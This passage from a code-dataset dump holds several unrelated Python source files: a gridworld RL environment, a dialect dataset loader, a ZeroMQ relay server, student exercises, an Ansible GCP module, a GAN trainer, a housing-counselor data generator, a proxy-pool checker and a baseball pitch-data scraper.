]\n\n def step(self, action):\n\n if action in self.move_actions:\n if np.random.random() <= self.random_push_prob:\n\n if DEBUG:\n print(\"Agent Randomly Pushed by the wind\")\n aidx = np.random.randint(len(self.move_actions))\n action = self.move_actions[aidx]\n\n obs, reward, _, info = super().step(action)\n\n if self.step_count >= self.max_steps - 1:\n self.done = True\n else:\n # done action doesn't end the task\n # essentially a stay action\n self.done = False\n\n # In VIC world, the agent can also die randomly\n if np.random.random() <= self.die_prob:\n\n if DEBUG:\n print(\"Environment Killed the agent.\")\n self.done = True\n\n info['done'] = self.done\n\n return obs, reward, False, info\n\n\n def _gen_grid(self, width, height):\n # Create an empty grid\n self.grid = Grid(width, height)\n\n # Generate the surrounding walls\n self.grid.wall_rect(0, 0, width, height)\n\n # Place the agent in the top-left corner\n self.start_pos = (1, 1)\n self.start_dir = 0\n\n # Place a goal square in the bottom-right corner\n self.grid.set(width - 2, height - 2, NavObject())\n\n # Define unmissioned environment as empty numpy array\n self.mission = np.array([0,0])\n\nclass RGBVICEmpty(VICEmpty):\n\n def __init__(self,\n size=5,\n max_steps=10,\n random_push_prob=0.2,\n alive_prob=0.95,\n use_grid_in_state=True):\n\n self.color_map = {\n 0 : [255,255,255], # empty\n 1 : [47,79,79], # Wall -> grey\n 2 : [0, 128, 0], # ball -> green\n 3 : [0, 0, 0] # Color\n }\n\n self.random_push_prob = random_push_prob\n self.alive_prob = alive_prob\n self.die_prob = 1 - alive_prob\n\n super().__init__(\n size=size,\n max_steps=max_steps,\n random_push_prob=random_push_prob,\n alive_prob=alive_prob,\n use_grid_in_state=use_grid_in_state)\n\n def reset(self):\n obs = super().reset()\n\n obs = self._rgbize(obs)\n\n return obs\n\n def step(self, action):\n\n obs, reward, done, info = super().step(action)\n\n obs = self._rgbize(obs)\n\n return obs, reward, done, info\n\n def _rgbize(self, obs):\n # Extract the image\n img = obs['image'].copy()\n new_img = np.zeros(img.shape[:2] + (3, ), dtype=int)\n for k, v in self.color_map.items():\n new_img[img[:,:,0] == k] = v\n\n obs.update({'image' : new_img })\n\n return obs\n","repo_name":"nirbhayjm/temp-1","sub_path":"envs/mdp_envs/vic_empty.py","file_name":"vic_empty.py","file_ext":"py","file_size_in_byte":3578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41114762504","text":"\"\"\"\nImplementation of the Swiss Dial dataset\n\"\"\"\n\nimport json\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom typing import Tuple\n\nclass SwissDial():\n def __init__(self, dataset_config: dict, preprocessing: object) -> None:\n self.config = dataset_config\n self.preprocessing = preprocessing\n\n self.load_data()\n if preprocessing is not None:\n self.data = self.preprocessing.preprocess(raw_data=self.data, datasetname=self.config[\"name\"])\n self.remove_unused()\n self.test_train_split()\n\n def remove_unused(self) -> None:\n self.data.drop(self.data.index[~self.data['dialect'].isin(self.config[\"dialects\"])], inplace=True)\n self.data.drop(labels=['sentence_id', 'topic', 'code_switching'], axis=1, inplace=True)\n\n def load_data(self) -> None:\n try:\n with open(self.config[\"raw_data_path\"], 'r') as json_f:\n json_dataset = json.load(json_f)\n except FileNotFoundError:\n print(\"Dataset not found, invalid path. Abort\")\n raise NotImplementedError\n rows = []\n for sentence_set in json_dataset:\n id = sentence_set.pop('id')\n topic = sentence_set.pop('thema')\n code_switching = sentence_set.pop('code_switching', False)\n\n for key, val in sentence_set.items():\n rows.append([id, key, val, topic, code_switching])\n \n self.n_rows = len(rows)\n \n self.data = pd.DataFrame(rows, columns=['sentence_id', 'dialect', 'sentence_version', 'topic', 'code_switching'])\n\n def test_train_split(self) -> None:\n df_X = self.data.drop(labels=['dialect'], axis=1, inplace=False)\n df_Y = self.data[['dialect']]\n self.X_train, self.X_test, self.Y_train, self.Y_test = train_test_split(df_X, df_Y, test_size=self.config[\"split\"], random_state=42)\n\n def get_train_data(self) -> Tuple[pd.DataFrame, pd.DataFrame]:\n return self.X_train, self.Y_train\n\n def get_test_data(self) -> Tuple[pd.DataFrame, pd.DataFrame]:\n return self.X_test, self.Y_test","repo_name":"FliProd/CS4NLP","sub_path":"src/data/swissdial.py","file_name":"swissdial.py","file_ext":"py","file_size_in_byte":2122,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"38813459525","text":"import zmq\nimport sys\nimport math\nimport os\n\nCHUNK = 1024\n\ncontext = zmq.Context()\nsocket_RECV = context.socket(zmq.REP)\n\nDicitionary_of_connections = {}\n\ndef main():\n\n\tip_for_listen = input(\"ip for listen?: \")\n\tport_for_listen = input(\"port for listen?: \")\n\n\tsocket_RECV.bind(\"tcp://{}:{}\".format(ip_for_listen,port_for_listen))\n\tprint (\"escuchando por {} en {}\" .format(ip_for_listen,port_for_listen))\n\n\twhile True:\n\t\tmsg = socket_RECV.recv_multipart()\n\t\tif msg[0].decode('ascii') == \"inscription\":\n\t\t\tident = msg[1].decode('ascii')\n\t\t\tipClient = msg[2].decode('ascii')\n\t\t\tportClient= msg[3].decode('ascii')\n\n\t\t\tsocket_Send = context.socket(zmq.REQ)\n\t\t\tsocket_Send.connect(\"tcp://{}:{}\".format(ipClient,portClient))\n\n\t\t\tDicitionary_of_connections.update({ident:socket_Send})\n\n\t\t\tif ident in Dicitionary_of_connections:\n\t\t\t\tsocket_RECV.send_json({\"respuesta\":\"ok\"})\n\t\t\telse:\n\t\t\t\tsocket_RECV.send_json({\"respuesta\":\"no\"})\n\n\t\t\t# PRUEBA DE SOCKET DE ESCUCHA CONECTADO \n\t\t\t'''\n\t\t\tsocket_Send.send_json({\"prueba\" : \"connected\"})\n\t\t\tk = socket_Send.recv_json()\n\t\t\t\n\t\t\tif k [\"respuesta\"] == \"ok\":\n\t\t\t\tprint(\"socket of listen up\")\n\t\t\telse:\n\t\t\t\tprint(\"socket of listen down\")\n\t\t\t'''\n\n\n\t\telif msg[0].decode('ascii') == \"send\":\n\t\t\tdest = msg[1].decode('ascii')\n\n\t\t\t#print(\"estoy enviando mensajes a: {} \".format(dest))\n\n\t\t\taudio = msg[2]#.decode('ascii')\n\t\t\t#print(\"sending audio\")\n\t\t\tDicitionary_of_connections[dest].send(audio)\n\t\t\t#print(socket)\n\t\t\t\n\t\t\t#socket.send(audio)\n\t\t\tprint(\" waiting for msg\")\n\t\t\tk = Dicitionary_of_connections[dest].recv_json()\n\t\t\tprint(\"end of the sending\")\n\t\t\tsocket_RECV.send_json({\"respuesta\" : \"lol\"})\n\n\t\telif msg[0].decode('ascii') == \"to\":\n\t\t\tdest = msg[1].decode('ascii')\n\n\t\t\tprint(\"Asked me for: {} \".format(dest))\n\n\t\t\tif dest in Dicitionary_of_connections:\n\t\t\t\tsocket_RECV.send_json({\"respuesta\":\"ok\"})\n\t\t\telse:\n\t\t\t\tsocket_RECV.send_json({\"respuesta\":\"no\"})\n\n\n\t\telse:\n\t\t\tprint (\"error!\")\n\n\nif __name__ == '__main__':\n main()","repo_name":"secano97/cliente-servidor","sub_path":"Homeworks/Homework2/ExerciseB/PeerServer.py","file_name":"PeerServer.py","file_ext":"py","file_size_in_byte":1958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"26615261633","text":"n = int(input())\nX = list(map(int, input().split()))\n\n\ndef calc(x):\n return (1 + x) * x // 2\n\n\nfor x in X:\n ok = 10**15\n ng = -1\n\n while ok - ng > 1:\n mid = (ok + ng) // 2\n if x <= calc(mid):\n ok = mid\n else:\n ng = mid\n print(ok)\n","repo_name":"mei28/Competitive-programing","sub_path":"algoshiki/366.py","file_name":"366.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13627188492","text":"import os\nimport pickle\nimport dill\nimport torch\nfrom torch.utils.data import DataLoader\nfrom src.models.network import Network\nfrom src.models.new_trainer import NewTrainer\nfrom src.tools.schedule import ScheduleLoader\nfrom src.tools.weights import FreezeModel, UnFreezeModel, init_weights\nfrom baryon_painter.utils.datasets import BAHAMASDataset, compile_transform\n\n\ndef path_name():\n folder = os.path.basename(os.path.dirname(__file__))\n subfolder = os.path.splitext(os.path.basename(__file__))[0]\n name = '/' + folder + '/' + subfolder + '/'\n return name\n\ndef files_info(data_path):\n with open(os.path.join(data_path, \"train_files_info.pickle\"), \"rb\") as f:\n training_files_info = pickle.load(f)\n '''\n with open(os.path.join(data_path, \"test_files_info.pickle\"), \"rb\") as f:\n test_files_info = pickle.load(f)\n '''\n\n return training_files_info, None\n\n\nclass boiler(object):\n def __init__(self, g_struc, d_struc, schedule, device=None, data_path=None, pre_load=None):\n\n '''\n pre_load {g_path, d_path, lr}\n '''\n if device == None:\n device = str(input('device: '))\n if pre_load is not None:\n schedule['save_dir'] += '/extended/'\n\n\n\n generator = Network.factory(g_struc)\n generator.to(device)\n discriminator = Network.factory(d_struc)\n discriminator.to(device)\n\n if 'g_init' not in schedule:\n schedule['g_init'] = {\n 'init_type': 'xavier'\n }\n if 'd_init' not in schedule:\n schedule['d_init'] = {\n 'init_type': 'xavier'\n }\n\n init_weights(generator, schedule['init_params']['g'])\n init_weights(discriminator, schedule['init_params']['d'])\n\n s = ScheduleLoader(schedule)\n\n UnFreezeModel(generator)\n UnFreezeModel(discriminator)\n\n label_fields = [\"pressure\"]\n training_files_info, test_files_info = files_info(data_path)\n\n transform = schedule['transform']\n inv_transform = schedule['inv_transform']\n z_transform = schedule['z_transform']\n\n n_training_stack = 11\n n_validation_stack = 3\n n_scale = 1\n\n train_dataset = BAHAMASDataset(files=training_files_info, root_path=data_path,\n redshifts=schedule['redshifts'],\n label_fields=label_fields,\n n_stack=n_training_stack,\n transform=transform,\n inverse_transform=inv_transform,\n n_feature_per_field=n_scale,\n mmap_mode=\"r\",\n scale_to_SLICS=True,\n subtract_minimum=False\n )\n\n stats = train_dataset.stats\n os.makedirs(schedule['save_dir'], exist_ok=True)\n os.makedirs(schedule['save_dir'] + '/parts/', exist_ok=True)\n\n with open(schedule['save_dir'] + '/parts/g_struc.pickle', 'wb') as handle:\n torch.save(g_struc, handle)\n\n with open(schedule['save_dir'] + '/parts/transform.pickle', 'wb') as handle:\n t = compile_transform(schedule['transform'], stats)\n dill.dump(t, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n with open(schedule['save_dir'] + '/parts/z_transform.pickle', 'wb') as handle:\n z = schedule['z_transform']\n dill.dump(z, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n with open(schedule['save_dir'] + '/parts/inv_transform.pickle', 'wb') as handle:\n inv_t = compile_transform(schedule['inv_transform'], stats)\n dill.dump(inv_t, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n #TODO\n test_files_info = training_files_info\n test_dataset = BAHAMASDataset(data=train_dataset.data,\n redshifts=schedule['redshifts'],\n label_fields=label_fields,\n n_stack=n_validation_stack, stack_offset=n_training_stack,\n transform=transform,\n inverse_transform=inv_transform,\n n_feature_per_field=n_scale,\n mmap_mode=\"r\",\n scale_to_SLICS=True,\n subtract_minimum=False\n )\n\n train_loader = DataLoader(\n train_dataset, batch_size=schedule['batch_size'], shuffle=True)\n\n test_loader = DataLoader(\n test_dataset, batch_size=schedule['n_test'], shuffle=True)\n\n if pre_load is not None:\n generator.load_self(pre_load['g_path'], device)\n discriminator.load_self(pre_load['d_path'], device)\n s.schedule['g_optim_opts']['lr'] = pre_load['lr']\n s.schedule['d_optim_opts']['lr'] = pre_load['lr']\n\n strategy = {\n 'schedule': s.schedule,\n 'generator': generator,\n 'discriminator': discriminator,\n 'train_loader': train_loader,\n 'test_loader': test_loader,\n 'device': device,\n }\n\n self.trainer = NewTrainer.factory(strategy)\n\n '''\n self.trainer = NewTrainer.factory(s.schedule,\n generator,\n discriminator,\n dataloader=train_loader,\n testloader=test_loader,\n device=device,\n dataset=test_dataset)\n '''\n\n\n\n\n\n print(generator)\n print(discriminator)\n\n _gen = open(s.schedule['save_dir'] + 'generator.txt', 'w+')\n _gen.write(generator.__repr__())\n\n _dis = open(s.schedule['save_dir'] + 'discriminator.txt', 'w+')\n _dis.write(discriminator.__repr__())\n\n _sch = open(s.schedule['save_dir'] + 'schedule.txt', 'w+')\n _sch.write(s.schedule.__repr__())\n\n\n _gen.close()\n _dis.close()\n _sch.close()\n\n def run(self):\n self.trainer.train()\n","repo_name":"hyferg/painting-with-baryons","sub_path":"src/tools/boilerplate.py","file_name":"boilerplate.py","file_ext":"py","file_size_in_byte":6316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71135531306","text":"def series_prime(upper):\n print(\"Printing prime series to %d\" %(upper))\n\n for num in range(upper + 1):\n if num > 1:\n for i in range(2, num):\n if (num % i) == 0:\n break\n else:\n print(num)\nseries_prime(int(input(\"Enter the number :\")))\n","repo_name":"growdataskills/Python_Fundamentals","sub_path":"python_programs/all_prime.py","file_name":"all_prime.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"37"} +{"seq_id":"24756816012","text":"from __future__ import absolute_import, division, print_function\n\n__metaclass__ = type\n\n################################################################################\n# Documentation\n################################################################################\n\nANSIBLE_METADATA = {'metadata_version': '1.1', 'status': [\"preview\"], 'supported_by': 'community'}\n\nDOCUMENTATION = '''\n---\nmodule: gcp_sourcerepo_repository_facts\ndescription:\n- Gather facts for GCP Repository\nshort_description: Gather facts for GCP Repository\nversion_added: 2.8\nauthor: Google Inc. (@googlecloudplatform)\nrequirements:\n- python >= 2.6\n- requests >= 2.18.4\n- google-auth >= 1.3.0\noptions: {}\nextends_documentation_fragment: gcp\n'''\n\nEXAMPLES = '''\n- name: \" a repository facts\"\n gcp_sourcerepo_repository_facts:\n project: test_project\n auth_kind: serviceaccount\n service_account_file: \"/tmp/auth.pem\"\n state: facts\n'''\n\nRETURN = '''\nitems:\n description: List of items\n returned: always\n type: complex\n contains:\n name:\n description:\n - Resource name of the repository, of the form projects/{{project}}/repos/{{repo}}.\n - The repo name may contain slashes. eg, projects/myproject/repos/name/with/slash\n .\n returned: success\n type: str\n url:\n description:\n - URL to clone the repository from Google Cloud Source Repositories.\n returned: success\n type: str\n size:\n description:\n - The disk usage of the repo, in bytes.\n returned: success\n type: int\n'''\n\n################################################################################\n# Imports\n################################################################################\nfrom ansible.module_utils.gcp_utils import navigate_hash, GcpSession, GcpModule, GcpRequest\nimport json\n\n################################################################################\n# Main\n################################################################################\n\n\ndef main():\n module = GcpModule(argument_spec=dict())\n\n if not module.params['scopes']:\n module.params['scopes'] = ['https://www.googleapis.com/auth/cloud-platform']\n\n items = fetch_list(module, collection(module))\n if items.get('repos'):\n items = items.get('repos')\n else:\n items = []\n return_value = {'items': items}\n module.exit_json(**return_value)\n\n\ndef collection(module):\n return \"https://sourcerepo.googleapis.com/v1/projects/{project}/repos\".format(**module.params)\n\n\ndef fetch_list(module, link):\n auth = GcpSession(module, 'sourcerepo')\n response = auth.get(link)\n return return_if_object(module, response)\n\n\ndef return_if_object(module, response):\n # If not found, return nothing.\n if response.status_code == 404:\n return None\n\n # If no content, return nothing.\n if response.status_code == 204:\n return None\n\n try:\n module.raise_for_status(response)\n result = response.json()\n except getattr(json.decoder, 'JSONDecodeError', ValueError) as inst:\n module.fail_json(msg=\"Invalid JSON response with error: %s\" % inst)\n\n if navigate_hash(result, ['error', 'errors']):\n module.fail_json(msg=navigate_hash(result, ['error', 'errors']))\n\n return result\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"pseudonode/nornircourse","sub_path":"VENV/py3_venv/lib/python3.6/site-packages/ansible/modules/cloud/google/gcp_sourcerepo_repository_facts.py","file_name":"gcp_sourcerepo_repository_facts.py","file_ext":"py","file_size_in_byte":3300,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"32548949710","text":"\ndef f_i_o():\n word = input('Word:')\n full = word.split(' ')\n fio = ''\n for name in full:\n fio += name[0].upper() + '.'\n print(fio)\n\n\ndef sum():\n try:\n num = int(input('Num: '))\n summary = 0\n for each in str(num):\n summary += int(each)\n print(summary)\n except ValueError:\n print('Numbers!')\n sum()\n\n\ndef date():\n months = {\n '01': 'January',\n '02': 'February',\n '03': 'March',\n '04': 'April',\n '05': 'May',\n '06': 'June',\n '07': 'July',\n '08': 'August',\n '09': 'September',\n '10': 'October',\n '11': 'November',\n '12': 'December',\n }\n dat = input('Date: ')\n validation(dat)\n if validation(dat):\n date_inputed = dat.split('/')\n print(date_inputed[0] + ' ' + months[date_inputed[1]] + ' ' + date_inputed[2] + ' y.')\n else:\n print('Format: xx/xx/xxxx. Try again!')\n date()\ndef validation(word):\n valid = False\n word = str(word)\n valid_months = ['01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12']\n valid_days = []\n for num in range(1,32):\n valid_days.append(str(num))\n if word[:2].isdigit() and word[2] == '/' and word[3:5].isdigit() and word[5] == '/' and word[6:10].isdigit():\n if word[:2] in valid_days and word[3:5] in valid_months:\n valid = True\n else:\n valid = False\n return valid\n\n\ndef morse_code():\n word = input('Word:')\n morse_word = ''\n for l in word:\n if l == ' ':\n morse_word += l\n if l == ',':\n morse_word += '--..--'\n if l == '.':\n morse_word += '.-.-.-'\n if l == '?':\n morse_word += '..--..'\n if l.isdigit():\n if l == '0':\n morse_word += '-----'\n if l == '1':\n morse_word += '.----'\n if l == '2':\n morse_word += '..---'\n if l == '3':\n morse_word += '...--'\n if l == '4':\n morse_word += '....-'\n if l == '5':\n morse_word += '.....'\n if l == '6':\n morse_word += '-....'\n if l == '7':\n morse_word += '--...'\n if l == '8':\n morse_word += '---..'\n if l == '9':\n morse_word += '----.'\n if l.isalpha():\n if l.upper() == 'A':\n morse_word += '.-'\n # ONLY UNTIL A\n print(morse_word)\n\n\ndef phone_number():\n list = [\n ['A', 'B', 'C'],\n ['D', 'E', 'F'],\n ['G', 'H', 'I'],\n ['J', 'K', 'L'],\n ['M', 'N', 'O'],\n ['P', 'Q', 'R', 'S'],\n ['T', 'U', 'V'],\n ['W', 'X', 'Y', 'Z']\n ]\n word = input('Word:')\n number = ''\n for l in word:\n if l.isdigit() or l == '-':\n number += l\n for each in range(8):\n if l.upper() in list[each]:\n number += str(each + 2)\n print(number)\n\n\ndef average_words():\n words = 1\n sum = 0\n num_of_sent = 1\n num_of_words = []\n file = open('file.txt', 'r')\n sentenses = file.readlines()\n for num in range(len(sentenses)):\n sentenses[num] = sentenses[num].rstrip('\\n')\n for sent in sentenses:\n for l in sent:\n if l.isspace():\n words +=1\n num_of_words.append(words)\n words = 1\n for lenght in num_of_words:\n sum += lenght\n print('In sent #' + str(num_of_sent) + ': ' + str(lenght) + ' words.')\n num_of_sent += 1\n print('Average is: ' + format(sum / len(sentenses), '.1f'))\n file.close()\n\n\ndef first_letters():\n original = input('Sentence: ')\n mutated = ''\n capitalize = True\n list_of_words = original.split(' ')\n for word in list_of_words:\n for letter in word:\n if capitalize:\n mutated += letter.upper()\n capitalize = False\n else:\n mutated += letter\n if letter == '.' or letter == '!' or letter == '?':\n capitalize = True\n mutated += ' '\n print(mutated)\n\n\ndef vowels_consonants():\n original = input('Sentence: ')\n\n consonants = 'BCDFGHJKLMNPQRSTVXZY'\n num_of_cons = 0\n vowels = 'AEIOU'\n num_of_vow = 0\n for let in original:\n if let.upper() in consonants:\n num_of_cons += 1\n if let.upper() in vowels:\n num_of_vow += 1\n print('Num on cons: ' + str(num_of_cons) + '\\n' + 'Num of vow: ' + str(num_of_vow))\n\n\ndef word_divider():\n original = input('Sentence: ')\n first = True\n mutated = ''\n for let in original:\n if first:\n mutated += let.upper()\n first = False\n\n else:\n if let.isupper():\n mutated += ' ' + let.lower()\n else:\n mutated += let\n print(mutated)\n\n\ndef youth_jargon():\n original = input('Sentence: ')\n list_of_words = original.split(' ')\n mutated = ''\n for word in list_of_words:\n mutated += word[1:] + word[0] + 'shit' + ' '\n print(mutated)\n\n\n\n\n\n\n\n\n\n","repo_name":"Vishinsky-Oleg/Tony-Gaddis-Starting_out_with_python","sub_path":"Chapter 8 code.py","file_name":"Chapter 8 code.py","file_ext":"py","file_size_in_byte":5186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32008940343","text":"# /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n'''\n 数据库IP检测Worker,定时清理无效IP\n'''\n\nfrom Lib.DBHelper import DBHelper\nfrom Lib.Checker import ProxyChecker\nfrom Lib.AutoLock import AutoLock\n\nclass DBCheckerWrapper:\n \n def __init__( self ):\n with AutoLock( 'ippool_dbchecker' ) as lock:\n with DBHelper() as db:\n ips = db.getAllIP()\n avIPS = ProxyChecker.getAvailableIPTables( ips )\n for ip in avIPS:\n if not ip['ABLE']:\n db.delIPByID( ip['id'] )\n del ips[ : ]\n del avIPS[ : ]","repo_name":"yangxy16/IPPool","sub_path":"Lib/DBCheckerWrapper.py","file_name":"DBCheckerWrapper.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"37"} +{"seq_id":"13515335604","text":"import glob\nimport json\nimport logging\nimport os\nimport re\nimport sqlite3\nfrom math import acos, cos, radians, sin\n\nfrom django.template import loader\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef distance_in_miles(lat1_radians, lng1_radians, lat2_radians, lng2_radians):\n \"\"\"Estimate distance in miles between two points in radians.\n\n Uses simplified algorithm to determine proximity based on latitude and\n longitude, described at https://stackoverflow.com/q/1916953.\n \"\"\"\n if lat1_radians == lat2_radians and lng1_radians == lng2_radians:\n return 0\n\n earth_radius_in_miles = 3959\n\n return earth_radius_in_miles * acos(\n cos(lat1_radians)\n * cos(lat2_radians)\n * cos(lng2_radians - lng1_radians)\n + sin(lat1_radians) * sin(lat2_radians)\n )\n\n\ndef get_db_connection():\n connection = sqlite3.connect(\":memory:\")\n connection.create_function(\"distance_in_miles\", 4, distance_in_miles)\n\n return connection\n\n\ndef fill_db(connection, counselors):\n def prepare_counselors(counselors):\n for counselor in counselors:\n yield (\n radians(float(counselor[\"agc_ADDR_LATITUDE\"])),\n radians(float(counselor[\"agc_ADDR_LONGITUDE\"])),\n json.dumps(counselor),\n )\n\n create_sql = \"\"\"\nCREATE TABLE counselors (\n latitude_radians REAL,\n longitude_radians REAL,\n json TEXT\n)\n\"\"\"\n\n insert_sql = \"\"\"\nINSERT INTO\n counselors(latitude_radians, longitude_radians, json)\nVALUES (?, ?, ?)\n\"\"\"\n\n connection.execute(create_sql)\n connection.executemany(insert_sql, prepare_counselors(counselors))\n\n\ndef query_db(connection, latitude_radians, longitude_radians):\n sql = \"\"\"\nSELECT\n json,\n distance_in_miles(latitude_radians, longitude_radians, ?, ?) AS distance\nFROM\n counselors\nORDER BY distance ASC\nLIMIT 10\n \"\"\"\n\n response = connection.execute(sql, (latitude_radians, longitude_radians))\n\n results = []\n for row in response:\n result = json.loads(row[0])\n result[\"distance\"] = row[1]\n results.append(result)\n\n return results\n\n\ndef generate_counselor_json(counselors, zipcodes, target):\n connection = get_db_connection()\n fill_db(connection, counselors)\n\n logger.info(\"generating JSON into %s\", target)\n\n for zipcode, (latitude_degrees, longitude_degrees) in zipcodes.items():\n counselors = query_db(\n connection, radians(latitude_degrees), radians(longitude_degrees)\n )\n\n zipcode_data = {\n \"zip\": {\n \"zipcode\": zipcode,\n \"lat\": latitude_degrees,\n \"lng\": longitude_degrees,\n },\n \"counseling_agencies\": counselors,\n }\n\n json_filename = os.path.join(target, \"{}.json\".format(zipcode))\n\n with open(json_filename, \"w\") as f:\n f.write(json.dumps(zipcode_data))\n\n\ndef generate_counselor_html(source_dir, target_dir):\n template_name = \"housing_counselor/pdf_selfcontained.html\"\n template = loader.get_template(template_name)\n\n for zipcode, filename in get_counselor_json_files(source_dir):\n with open(filename, \"r\") as f:\n zipcode_data = json.loads(f.read())\n\n html = template.render(\n {\n \"zipcode\": zipcode,\n \"zipcode_valid\": True,\n \"api_json\": zipcode_data,\n }\n )\n\n html_filename = os.path.join(target_dir, \"{}.html\".format(zipcode))\n\n with open(html_filename, \"w\") as f:\n f.write(html)\n\n\ndef get_counselor_json_files(directory):\n \"\"\"Returns an iterable list of JSON files and associated zipcodes.\n\n Returns iterator of (zipcode, filename) pairs.\n \"\"\"\n search_path = os.path.join(directory, \"*.json\")\n filenames = list(\n filter(lambda f: re.search(r\"/\\d{5}.json$\", f), glob.glob(search_path))\n )\n\n if not filenames:\n raise RuntimeError(\"no input files found in {}\".format(directory))\n\n logger.info(\"Found %d input files\", len(filenames))\n\n for filename in filenames:\n match = re.search(r\"/(\\d{5}).json$\", filename)\n zipcode = match.group(1)\n\n yield zipcode, filename\n","repo_name":"cfpb/consumerfinance.gov","sub_path":"cfgov/housing_counselor/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":4191,"program_lang":"python","lang":"en","doc_type":"code","stars":241,"dataset":"github-code","pt":"37"} +{"seq_id":"70502051628","text":"from xml.dom import minidom\nfrom BeautifulSoup import BeautifulSoup\nfrom re import search\nfrom . import *\n\nclass Pitch:\n\tdef __init__(self, element, count, **kwargs):\n\n\t\tvalues = {}\n\t\tvalues['num'] = kwargs['num'] if 'num' in kwargs else None\n\t\tvalues['game_id'] = kwargs['game_id'] if 'game_id' in kwargs else None\n\t\tvalues['pitcher'] = kwargs['pitcher'] if 'pitcher' in kwargs else None\n\t\tvalues['batter'] = kwargs['batter'] if 'batter' in kwargs else None\n\t\tvalues['b'] = count['balls']\n\t\tvalues['s'] = count['strikes']\n\n\t\t# these change a lot :(\n\t\t# tired of taking them from the XML element\n\t\t# because maybe I don't have them in the schema\n\t\tFIELDS = ['des','id','type','x','y','on_1b','on_2b','on_3b','sv_id','start_speed',\n\t\t\t'end_speed','sz_top','sz_bot','pfx_x','pfx_z','px','pz','x0','y0','z0','vx0','vy0','vz0',\n\t\t\t'ax','ay','az','break_y','break_angle','break_length','pitch_type','type_confidence',\n\t\t\t'spin_dir','spin_rate','zone']\n\n\t\tfor key in element.attributes.keys():\n\t\t\tif key in FIELDS:\n\t\t\t\tvalues[key] = element.attributes[key].value\n\n\t\tself.values = values\n\n\tdef save(self):\n\t\tDB = store.Store()\n\n\t\t#sql = 'INSERT INTO pitch (%s) VALUES(%s)' % (','.join(self.values.keys()), ','.join(['%s'] * len(self.values)))\n\t\tsql = 'INSERT INTO pitch (%s) VALUES(%s)' % (','.join(self.values.keys()), ','.join([\"'\"+str(v)+\"'\" for v in self.values.values()]))\n\n\t\t#sql ='INSERT INTO atbat (%s) VALUES (%s)' % (','.join(keys), ','.join([\"'\"+str(v)+\"'\" for v in self.values.values()]))\n\t\t#print sql\n\n\t\tsql = sql.replace(\"'None'\",\"NULL\")\n\t\tsql = sql.replace(\"'null'\",\"NULL\")\n\n\t\t#DB.query(sql, self.values.values())\n\t\tDB.query2(sql)\n\t\tDB.save()\n\n\t\tDB.finish()\n\nclass AtBats(list):\n\n\tdef save(self):\n\t\tDB = store.Store()\n\t\tfor inning in self:\n\t\t\tfor atbat in inning:\n\t\t\t\tkeys = [k for k in atbat.keys() if k != 'pitches']\n\t\t\t\tvalues = [None if atbat[k] == '' else atbat[k] for k in keys]\n\n#\tsql = \"INSERT INTO game (%s) VALUES (%s)\" % (','.join(Game.FIELDS), ','.join([\"'\"+str(getattr(self, field))+\"'\" for field in Game.FIELDS] ))\n\n\t\t\t\tsql ='INSERT INTO atbat (%s) VALUES (%s)' % (','.join(keys), ','.join([\"'\"+str(v).replace(\"'\", \"''\")+\"'\" for v in values]))\n\n\t\t\t\t#print sql\n\t\t\t\t#print values\n\t\t\t\t#print ' '\n\n\t\t\t\tsql = sql.replace(\"'None'\",\"NULL\")\n\t\t\t\tsql = sql.replace(\"'null'\",\"NULL\")\n\n\t\t\t\t#sql = sql % (values)\n\t\t\t\tDB.query2(sql)\n\t\t\t\tDB.save()\n\n\t\t\t\tfor pitch in atbat['pitches']:\n\t\t\t\t\tpitch.save()\n\n\tdef __init__(self, gid, game_id):\n\t\tsuper(AtBats,self).__init__()\n\n\t\tyear, month, day = gid.split('_')[1:4]\n\t\turl = '%syear_%s/month_%s/day_%s/%s/inning/' % (CONSTANTS.BASE, year, month, day, gid)\n\n\t\tcontents = Fetcher.fetch(url)\n\t\tif contents is None:\n\t\t\treturn\n\n\t\tsoup = BeautifulSoup(contents)\n\n\t\tinning_num = 1\n\t\tfor inning_link in soup.findAll('a'):\n\t\t\tif search(r'inning_\\d+\\.xml', inning_link['href']):\n\t\t\t\tinning_url = '%s%s' % (url, inning_link['href'])\n\t\t\t\tdoc = minidom.parseString(Fetcher.fetch(inning_url))\n\n\t\t\t\tinning = []\n\n\t\t\t\tfor atbat in doc.getElementsByTagName('atbat'):\n\t\t\t\t\tvalues = {}\n\t\t\t\t\thalf = atbat.parentNode.nodeName\n\t\t\t\t\tfor key in atbat.attributes.keys():\n\t\t\t\t\t\tvalues[str(key)] = atbat.attributes[key].value\n\n\t\t\t\t\tvalues['half'] = half\n\t\t\t\t\tvalues['game_id'] = game_id\n\t\t\t\t\tvalues['inning'] = inning_num\n\t\t\t\t\tvalues['pitches'] = []\n\n\t\t\t\t\tballs = 0\n\t\t\t\t\tstrikes = 0\n\t\t\t\t\tfor pitch in atbat.getElementsByTagName('pitch'):\n\t\t\t\t\t\tcount = {'balls': balls, 'strikes': strikes}\n\t\t\t\t\t\tkwargs = {'game_id': game_id,\n\t\t\t\t\t\t\t'batter': values['batter'],\n\t\t\t\t\t\t\t'pitcher': values['pitcher'],\n\t\t\t\t\t\t\t'num': 